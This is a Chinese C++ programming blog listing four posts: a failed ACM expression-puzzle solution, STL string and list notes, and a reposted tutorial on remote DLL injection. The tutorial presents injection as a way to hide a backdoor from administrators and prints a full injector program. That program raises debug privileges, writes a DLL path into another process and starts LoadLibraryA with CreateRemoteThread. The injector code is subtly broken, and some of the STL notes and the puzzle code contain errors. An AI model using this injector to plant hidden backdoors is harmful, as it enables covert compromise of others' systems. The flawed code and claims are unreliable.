C++博客-飛天-随笔分类-C/C++

[ACM 1040] 凑表达式

飛天 — Mon, 12 May 2008 10:02:00 GMT

凑表达式
Time Limit:1000MS Memory Limit:32768K

Description:

有一些整数组，每三个数成一组。如果三个数经过四则运算(+、-、×、÷)得出结果0，则输出“yes”，否则输出“no”。当三个数为全0时表示输入结束。

Sample Input:

Sample Output:

yes
no
no
yes

================================================================================

提交沒有成功

#include <cstdlib>
#include <iostream>

using namespace std;
#define MAX_ROW 50

string out[MAX_ROW];
int num[MAX_ROW][3];
int index=0;

void output()
{
       for(int i=0;i<index;++i)
       {
          cout<<out[i].c_str();
          cout<<endl;
       }
}
   //深搜直到第三層，判斷值是否為0
bool dfs(float number,int n)
{
    if(n>=3)
        return number==0;
    if(dfs(number+num[index][n],n+1)) return true;
    if(dfs(number-num[index][n],n+1)) return true;
    if(dfs(number*num[index][n],n+1)) return true;
    if(dfs(number/num[index][n],n+1)) return true;
    return false;
}
int main(int argc, char *argv[])
{

    while(1)
    {
     for(int i=0;i<3;++i)
             cin>>num[index][i];
     if(num[index][0]==0&&
       num[index][1]==0&&
         num[index][2]==0)
         {
             break;
         }

       if(dfs(num[index][0],1)) out[index]="yes";
       else out[index]="no";
       index++;
     }

    output();
    system("PAUSE");
    return 0;
}

飛天 2008-05-12 18:02 发表评论

STL学习笔记之string

飛天 — Sat, 13 Oct 2007 02:59:00 GMT

    包含头.
    using namespace std;
1.构造字符串

    string Mystring1;
    string Mystring2(" hello world!");
    string Mystring1=Mystring2;  //Mystring1和Mystring2指向同一个字符串
    string Mystring3(Mystring2.c_str());//给Mystring3重新分配

   2.字符串函数
    1) empty()   判断字符串为空
    2) length()和size() 字符串长度;length()是c++标准,size()是STL提供的.
    3) append() 添加成员
    4) find(),find_first_not_of(),find_first_of(),find_last_not_of(),find_last_of(),rfind()
        find()函数的功能是从std::string对象的头部顺序找目标值，如果找到返回该目标的位置，如果没有字符串对象中找到目标对象，返回-1.
　　rfind()跟find()相似只是从string对象的后部向前查找．
       find_first_not_of() 该函数的功能是在string对象中查找对象，如果在string出现了完全不匹配的字符，字符串或以空字符结尾的字符数组时，系统显示第一次出现这种情形的位置．　　　　

　５) begin(),end()

飛天 2007-10-13 10:59 发表评论

[转]远程注入DLL 详细介绍

飛天 — Sun, 12 Aug 2007 02:52:00 GMT

远程注入DLL
没错，现在讨论的就是传说中的远程注入技术，目前一种非常流行的隐藏技术，因为它没有进程，而前面讨论的两种方法都会有进程出现，因此，有经验的管理员很容易发现，然后先杀进程，在找出后门文件删除。要实现远程注入，我们要编写两个程序，一个是后门文件，这里不是把它写成.exe文件，而是写成.dll文件，在这里先说一下.dll文件，.dll文件，其实就是动态连接库，它里面装封了提供.exe文件调用的函数，一般情况下，双击它，是不能运行它的，它只能由.exe来调用，于是就有了远程注入了，原理很简单：我们把后门的主要功能写成一个函数，然后装封到.dl文件中，然后再另外写一个执行文件来启动它，这样就不会有后门的进程了。那远程注入又指什么呢？这个问题问得好，一般情况下，每个进程都有自己的私有空间，理论上，别的进程是不允许对这个私人空间进行操作的，但是，我们可以利用一些方法进入这个空间并进行操作，将自己的代码写入正在运行的进程中，于是就有了远程注入了。
对dll后门的编写就不作过多的讨论了，现在来看实现注入功能的可执行文件的编写：
用到的函数有：
OpenProcessToken()；
LookupPrivilegeValue()；
AdjustTokenPrivileges()；
OpenProcess()；
VirtualAllocEx()；
WriteProcessMemory()；
GetProcAddress()；
CreateRemoteThread()；

先简单的介绍以下这些函数的作用，因为我们要操作的是系统中的其他进程，如果没有足够的系统权限，我们是无法写入甚至连读取其它进程的内存地址的，所以我们就需要提升自己的权限，用到以下3个函数
OpenProcessToken()； //打开进程令牌
LookupPrivilegeValue()；//返回一个本地系统独一无二的ID，用于系统权限更改
AdjustTokenPrivileges()；//从英文意思也能看出它是更改进程权限用的吧？

进入宿主进程的内存空间
在拥有了进入宿主进程空间的权限之后，我们就需要在其内存加入让它加载我们后门的代码了，用LoadLibraryA()函数就可以加载我们的DLL了，它只需要DLL文件的路径就可以了，在这里我们要把DLL文件的路径写入到宿主的内存空间里，因为DLL的文件路径并不存在于宿主进程内存空间了，用到的函数有：
OpenProcess()；//用于修改宿主进程的一些属性，详细参看MSDN
VirtualAllocEx()；//用于在宿主内存空间中申请内存空间以写入DLL的文件名
WriteProcessMemory();//往申请到的空间中写入DLL的文件名

在宿主中启动新的线程
用的是LoadLibraryA()函数来加载，但在使用LoadLibraryA()之前必须知道它的入口地址，所以用GetProcAdress来获得它的入口地址，有了它的地址以后，就可以用CreateRemoteThread()函数来启动新的线程了，到次，整个注入过程完成，不过还不非常完善，这就留给聪明的你来完成了；）。
简单的例子：

#include "stdafx.h"

int EnableDebugPriv(const char * name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    OpenProcessToken(GetCurrentProcess(),
                    TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                    &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL,name,&luid)

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
    return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
    HANDLE hRemoteProcess;
    EnableDebugPriv(SE_DEBUG_NAME)
    //打开远程线程
    hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程PROCESS_VM_OPERATION | //允许远程VM操作
                            PROCESS_VM_WRITE,//允许远程VM写
                            FALSE, dwRemoteProcessId );
    char *pszLibFileRemote;
    //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
    pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
                            MEM_COMMIT, PAGE_READWRITE);
    //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
    WriteProcessMemory(hRemoteProcess,
                pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL)；
    //计算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
            GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

    //启动远程线程LoadLibraryA，通过远程线程调用创建新的线程
    HANDLE hRemoteThread;
    if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
    {
        printf("CreateRemoteThread error!\n");
        return FALSE;
    }

    return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    InjectDll("c:\zrqfzr.dll",3060) //这个数字是你想注入的进程的ID号
    return 0;
}

飛天 2007-08-12 10:52 发表评论

标准模板库(STL)学习指南之List容器

飛天 — Thu, 02 Aug 2007 09:43:00 GMT

1#include <list>
2#include <string>
3#include <iostream.h>
4#include <algorithm> //for_each()
5
6using namespace std;
7
8
9 void PrintIt(string &strPrint)
10 {
11 cout<<strPrint<<endl;
12 }
13
14int _tmain(int argc, _TCHAR* argv[])
15{
16 list<string> aa;
17 char a;
18
19 aa.push_back("aaaaaaa");
20 aa.push_back("ccccccc");
21 cout<<aa.size()<<endl;
22
23 list<string>::iterator aaiterator;
24
25 for(aaiterator=aa.begin();aaiterator!=aa.end();aaiterator++)
26 {
27 cout<<*aaiterator<<endl;
28 }
29 cin>>a;
30
31
32 cout<<"方法二："<<endl;
33 for_each(aa.begin(),aa.end(),PrintIt);
34
35 return 0;
36}
37
38
39
40

飛天 2007-08-02 17:43 发表评论